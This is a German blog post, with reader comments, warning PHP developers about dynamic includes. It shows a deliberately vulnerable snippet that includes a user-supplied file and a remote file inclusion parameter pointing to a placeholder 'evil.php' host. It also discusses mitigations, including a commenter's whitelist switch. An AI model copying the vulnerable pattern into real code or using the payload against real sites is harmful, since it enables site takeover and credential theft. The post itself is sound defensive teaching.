24. März 2016 | 4 Comments Ich melde mich zum ersten mal 2016 mit einem neuen und durchaus wichtigen Thema zurück! Jeder von uns macht Fehler, das ist normal. Manchmal kommt es auch vor das wir den gleichen Fehler wiederholen – das ist mir letztens passiert. Stichwort „dynamische includes“. Ich denke das jeder Web-Entwickler schon damit gearbeitet hat oder mit Hilfe eines kleinen Beispiels weis was gemeint ist 😉 Ich erkläre euch Heute die Gefahr der dynamischen includes! Was sind dynamische includes? Anbei ein kleiner Code-Ausschnitt der uns verdeutlichen wird, was mit dynamische includes gemeint ist: // Get the template via POST. $tpl = $_POST['tpl']; // Or GET. $tpl = $_GET['tpl']; // Include the template dynamically. include $tpl; Das ganze ist übrigens nicht nur auf include begrenzt! include_once, require und require_once sind natürlich auch betroffen. Die Gefahr dahinter Die eigentliche Gefahr besteht darin das wir (im Beispiel-Code oben) nicht überprüfen welche Datei inkludiert wird. Im Normalfall wird es nur ein Template oder ähnliches sein… Doch theoretisch lassen sich sehr viel mehr Dateien auslesen… Angefangen bei Konfigurationsdateien in denen ggf. MySQL-, Server-, oder API Zugänge gespeichert sind. Aber damit noch nicht genug – es kann durchaus schlimmer kommen! Der Worst Case Ist die PHP Einstellung allow_url_include eingeschaltet lassen sich auch Dateien per URL einbinden, in unserem Beispiel müsste man den folgenden Parameter verwenden ...?tpl=http://example.com/evil.php Und dadurch hätte der Übeltäter volle Kontrolle über die Webseite sowie deren Daten. Gleiches gilt übrigens auch für Methoden wie file_get_contents(), fopen() und file() 😉 Einfache Checks reichen nicht aus Simple Überprüfungen werden nicht ausreichen um eure Seite oder Applikation wirklich sicher zu gestalten. Es gibt viele Schlupflöcher und Tricks die man benutzen kann um Sicherheitsmaßnahmen zu umgehen – hier ein kleines Beispiel, das den Code zumindest geringfügig sicherer macht: // Absolutely not secure! $tpl = $_GET['tpl']; // Better, but still not really safe. $tpl = __DIR__ . '/templates/' . $_GET['tpl'] . '.tpl'; Am besten und sichersten wäre es tatsächlich ein Template gar nicht dynamisch zu laden. Das ist für gewöhnlich die Stelle an denen ein CMS oder Framework zum Einsatz kommt. So angenehm es für den Moment auch sein kann Dateien schnell und einfach mit Hilfe dynamischer includes zu laden, so sollten wir (Entwickler) uns dennoch den Aufwand machen und unsere Arbeit genügend absichern. Sei es via Framework, CMS oder statischer includes. Man kann das ganze übrigens entfernt mit SQL Injection vergleichen 😉 Die Gefahr der dynamischen includes ist definitiv nicht von der Hand zu weisen! Es ist eine massive Sicherheitslücke die schnell gefunden und ausgehebelt werden kann. Habt ihr Seiten die auf dynamische includes vertrauen? Wie löst ihr die Sicherheitsprobleme? Meldet euch in den Kommentaren und lasst es mich wissen! Bis zum nächsten mal wünsche ich euch Happy Coding!
Habe nicht, aber ich vertraue auf vordefinierte Seitenbäume. define("PATH", realpath(dirname(__FILE__))); $inc = $_GET["inc"] ?? $_POST["inc"] ?? ''; $inc = htmlspecialchars($inc); switch($inc){ case 'loggedin': require_once PATH.'/inc/member.inc.php'; break; case 'admin': require_once PATH.'/inc/adm/main.inc.php'; break; default: require_once PATH.'/inc/frontpage.inc.php'; require_once PATH.'/inc/loginbox.inc.php'; break; } Antworten
Hallo Naman, vielen Dank für dein Kommentar. Deine Variante ist sicherlich die sicherste! Es gibt zum Glück mehr als genug Alternativen um dynamische includes abzusichern 😉 VG Leo Antworten
Hi Naman, ich glaube ich setze derzeit in keinem meiner Projekte auf dynamische includes. Die meiste Zeit verwende ich Autoloader (eigene Entwicklung) oder ein CMS (für Webseiten). VG Leo Antworten